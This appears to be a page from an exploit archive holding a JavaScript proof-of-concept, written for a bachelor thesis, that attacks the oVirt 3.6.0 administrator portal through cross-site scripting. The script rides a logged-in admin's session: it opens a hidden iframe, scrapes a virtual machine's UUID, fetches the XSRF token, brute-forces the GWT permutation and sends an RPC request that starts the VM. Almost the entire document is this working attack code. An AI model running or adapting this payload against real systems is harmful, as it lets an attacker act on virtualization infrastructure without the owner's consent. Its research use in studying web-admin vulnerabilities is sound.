4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ovirtXSSExploitVmStarten.js JS
/*
Autor: Emanuel Durmaz
Web Exploit-Code zur Bachelor Thesis

----------------------
Benötigte JS-Library:
https://github.com/peterolson/BigInteger.js

Voraussetzungen:
- BigInteger.min.js muss vorher in das HTML-Dokument geladen werden bzw. via XSS mit eingeschleust werden
- Administrator muss im oVirt Administratorportal eingeloggt sein.
- 15-60 Sekunden ausführen lassen.
- Die hier verwendeten RPC-Anfragen funktionieren nur für oVirt 3.6.0. Will man dieses Konzept für eine neuere oVirt Version ausprobieren, so müssen die RPC-Anfragen ausgetauscht werden.


Nachträgliche Änderungen / Verbesserungen:
03.04.16:
- RPC-Anfrage in sendRpcCommand() korrigiert (UUID) und umgebrochen (Darstellung)
- getGWTPermutation() korrigiert (i++ zum Schluss)
- mehr Kommentare
- host-Variable hinzugefügt

*/

//Domain oder IP des Webinterfaces
host = '192.168.2.185';

document.body.innerHTML = 
'<div style="display:block; visibility:hidden">'
+'<iframe id="hiddenFrame" width="1000" height="700"'
+'src="https://' + host + '/ovirt-engine/webadmin/?locale=de_DE#vms">'
+'</iframe></div>';

//lege Reihe der gewünschten VM fest
//siehe VM-Übersichtstabelle im Adminportal.
row = 1; //Aktionen auf der VM 2.Reihe


//DOM-Zugriff zum iFrame
hiddenFrame = document.getElementById('hiddenFrame');
doc = hiddenFrame.contentDocument? hiddenFrame.contentDocument: hiddenFrame.contentWindow.document;

//es wird zuerst die UUID im Voraus ermittelt
waitForElements_start('MainTabVirtualMachineView_table_content_col2_row'+row, 4000);


function waitForElements_start(selector, time) 
{//Warte bis Element geladen wurde
	if(doc.getElementById(selector)!=null)
	{
		console.log("loaded");
		doc.getElementById(selector).click(); //klicke auf VM, sodass Detailübersicht geladen wird
		waitForDetailsTab('SubTabVirtualMachineGeneralView_form_col2_row4_value', 4000);
		return;
	}
	else {
		setTimeout(function()
		{
			console.log("still loading ..."+selector);
			waitForElements_start(selector, time); //aktualisiere DOM-Variable
			doc = hiddenFrame.contentDocument? hiddenFrame.contentDocument: hiddenFrame.contentWindow.document;
		}, time);
	}
}
	
	
function waitForDetailsTab(selector, time)
{// warte bis Detailübersicht geladen wird
	if(doc.getElementById(selector)!=null)
	{
		console.log("loaded");
		var uuid = doc.getElementById('SubTabVirtualMachineGeneralView_form_col2_row4_value').value;
		console.log(uuid);
		document.body.innerHTML = '';
		main(uuid); //Starte nun Hauptfunktion
		return;
	}
	else 
	{
		setTimeout(function() {
			waitForDetailsTab(selector, time);
			console.log("still loading ..."+selector);
			doc.getElementById('MainTabVirtualMachineView_table_content_col2_row'+row).click();
		}, time); // Es wird "sicherheitshalber" öfter geklickt
	}
}

function main(uuid)
{
	var xsrfToken = getXsrfToken();
	console.log(xsrfToken);
	
	var gwtPermutation = getGWTPermutation(xsrfToken);
	console.log(gwtPermutation);
	
	uuidDecArray = uuidTransform(uuid); //Transformiere UUID (beschrieben im 4. Schritt)	
	console.log(uuidDecArray);
	
	//führe Befehl via RPC-Anfrage aus.
	sendRpcCommand(xsrfToken, gwtPermutation, uuidDecArray);
	return;
}

function getXsrfToken()
{
	var xhr = new XMLHttpRequest();
	xhr.open('POST','/ovirt-engine/webadmin/xsrf',false);
	xhr.setRequestHeader('X-GWT-Module-Base','https://' + host + '/ovirt-engine/webadmin/');
	xhr.setRequestHeader('X-GWT-Permutation',''); //Mit leerem Wert
	xhr.setRequestHeader('Content-Type','text/x-gwt-rpc; charset=utf-8');
	//via GWT-RPC-Anfrage XSRF-Token anfragen 
	var postData =	 '7|0|4|https://' + host + '/ovirt-engine/webadmin/|CCA65B31464BDB27545C23C142FEEEF8|'
				+'com.google.gwt.user.client.rpc.XsrfTokenService|getNewXsrfToken|1|2|3|4|0|';
	xhr.send(postData);
	var httpBodyResponse = xhr.responseText;
	//extrahiere XSRF Token aus RPC Antwort
	var tmp = httpBodyResponse.substring(0,httpBodyResponse.length-7);
	var startOfToken = tmp.lastIndexOf('\"');
	var xsrfToken = tmp.substring(startOfToken+1,httpBodyResponse.length-7);
	return xsrfToken;
}

function getGWTPermutation(xsrfToken)
{
	var xhr = new XMLHttpRequest();
	//.nocache.js enthält alle möglichen GWT-Permutationen
	xhr.open('GET','/ovirt-engine/webadmin/webadmin.nocache.js',false);
	xhr.send();
	var httpBodyResponse = xhr.responseText;
	//liste alle vorhandenen GWT-Permutation Token auf
	var listGWTPermutations = httpBodyResponse.match(/[A-Z0-9]{30,35}/g); 

	//beliebige RPC-Anfrage zum Testen.
	var postData=
	'R7~"61~org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWTService~"14~runPublicQuery~D2~"3~uUj~"3'
	+'~U3g~Eorg.ovirt.engine.core.common.queries.VdcQueryType~I206~Lorg.ovirt.engine.core.common.queries.'
	+'VdcQueryParametersBase~I4~"1~n~V~"1~o~Z0~"1~p~Z1~"1~q~V~';

	var notfound = 1;
	var i=0;
	while(notfound && (i < listGWTPermutations.length))
	{//alle ausprobieren, bis man eine valide GWTPermutation findet
		xhr.open('POST','/ovirt-engine/webadmin/GenericApiGWTService',false);
		xhr.setRequestHeader('OVIRT-XSRF-Token',xsrfToken);
		xhr.setRequestHeader('X-GWT-Module-Base','https://' + host + '/ovirt-engine/webadmin/');
		xhr.setRequestHeader('X-GWT-Permutation',listGWTPermutations[i]);
		xhr.setRequestHeader('Content-Type','text/x-gwt-rpc; charset=utf-8');
		xhr.send(postData);		
		if(xhr.status != 500) 
		{ //wenn eine RPC-Anfrage beantwortet wird, dann...
			notfound = 0;
			//gefundenen GWT Permutation speichern bzw. zurückgeben
			var gwtPermutation = listGWTPermutations[i];
			return gwtPermutation;
		}
		i++;
	}
}

function sendRpcCommand(xsrfToken, gwtPermutation, uuidArray)
{
	var xhr = new XMLHttpRequest();
	//diese RPC-Anfrage startet VM mit der entsprechenden UUID
	var postData=
		'R11~"61~org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWTService~"18~runMultipleActions~'
		+'D4~"3~Xfh~"3~X3e~"2~ Z~@4~Eorg.ovirt.engine.core.common.action.VdcActionType~I12~!java.util.ArrayList~'
		+'I2~D1~Lorg.ovirt.engine.core.common.action.RunVmParams~I42~"1~n~Z1~"1~o~Z0~"1~p~V~"1~q~V~"1~r~V~"1~s~'
		+'D0~"1~t~V~"1~u~V~"1~v~V~"1~w~V~"1~A~V~"1~B~V~"1~C~V~"1~D~Z1~"1~F~V~"1~G~V~"1~H~V~"1~I~V~"1~J~V~"1~K~'
		+'V~"1~L~V~"1~M~V~"1~N~Lorg.ovirt.engine.core.compat.Guid~I1~"1~b~!java.util.UUID~I2'
		+'~J'+ uuidArray[1] +'~J'+ uuidArray[0] +'~I0~"1~O~V~"1~P~Eorg.ovirt.engine.core.common.action.VdcActionType~'
		+'I0~"1~Q~Z0~"1~R~V~"1~S~V~"1~T~D0~"1~U~!java.util.ArrayList~I1~D0~I0~"1~V~V~"1~W~V~"1~X~Z0~"1~Y~V~"1~Z~'
		+'Eorg.ovirt.engine.core.common.action.VdcActionType~I0~"1~_~Z1~"2~ab~Z1~"2~bb~V~"2~cb~Z1~"2~db~'
		+'Eorg.ovirt.engine.core.compat.TransactionScopeOption~I2~"2~eb~V~"2~fb~V~I0~Z0~Z0~';
	
	xhr.open('POST','/ovirt-engine/webadmin/GenericApiGWTService',false);
	xhr.setRequestHeader('OVIRT-XSRF-Token',xsrfToken);
	xhr.setRequestHeader('X-GWT-Module-Base','https://' + host + '/ovirt-engine/webadmin/');
	xhr.setRequestHeader('X-GWT-Permutation',gwtPermutation);
	xhr.setRequestHeader('Content-Type','text/x-gwt-rpc; charset=utf-8');
	xhr.send(postData);
	
	return;
}


function uuidTransform(uuid)
{
	//Bindestriche der UUID entfernen
	uuid = uuid.replace(/-/g,'');

	//UUID besteht aus 32 Zeichen bzw. 16 Bytes (Hex) bzw. 128Bit
	//UUID in höherwertige und niederwertige Hälften aufteilen
	//je Hälfte nimmt 8 Byte bzw. 64Bit ein
	msbHexUuid = uuid.substring(0, uuid.length/2);
	lsbHexUuid = uuid.substring((uuid.length/2), uuid.length);
	
	//wir haben nun zwei signed Hex Integer
	//wenn MSB=1, liegt Zahl in Zweierkomplement vor
	//wenn MSB=0, normale positive Zahl	
	msbDecUuid = twoComplement(msbHexUuid);
	lsbDecUuid = twoComplement(lsbHexUuid);
	
	uuidDec = [msbDecUuid,lsbDecUuid];
	return uuidDec;
}


function twoComplement(inpStr) //benötigt BigInteger-Library
{
	inp = bigInt(inpStr,16);

	mask63 = bigInt('7fffffffffffffff',16); //63Bit
	diff = inp.subtract(mask63);

	if(diff.isPositive()) //also ist inp negativ, da MSB=1
	{
	  mask64  = bigInt('ffffffffffffffff',16);
	  decimal = inp.xor(mask64).add(1).toString(10);
	  decimal = '-'+decimal; //Minuszeichen
	  return decimal;
	}
	else //sonst so lassen, nur ins Dec umwandeln
	{
	  decimal = inp.toString(10);
	  return decimal;
	}
}